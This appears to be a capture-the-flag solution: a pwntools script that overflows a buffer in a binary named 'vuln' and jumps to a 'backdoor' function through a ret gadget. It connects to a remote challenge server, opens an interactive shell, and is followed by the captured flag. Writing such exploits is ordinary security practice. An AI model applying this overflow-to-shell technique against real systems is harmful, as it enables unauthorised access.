1
from pwn import *
2

3
context(os="linux", terminal=["cmd.exe", "/c", "start"])
4

5
binary_path = "./vuln"
6
host = "47.99.147.34"  # 网址
7
port = 10858  # 端口
8

9
elf = ELF(binary_path, checksec=False)
10
context.binary = elf
11

12
if elf.bits == 64:
13
    context.arch = "amd64"
14
    gdbscript = """
15
    b *main
16
    c
17
    """
18
else:
19
    context.arch = "i386"
20
    gdbscript = """
21
    b *main
22
    c
23
    """
24

25
context.log_level = "debug"
26

27
if args.REMOTE:
28
    io = remote(host, port)
29
else:
30
    io = process(binary_path)
31

32

33
def p():
34
    pause()
35

36

37
backdoor = 0x401196
38
ret = 0x40101A
39

40
io.recv()
41
offset = 0x40 + 0x8
42
payload = flat([cyclic(offset), ret, backdoor])
43
io.sendline(payload)
44

45
io.interactive()

1
flag{db35a83bde913ee94d6a7200849bb08a}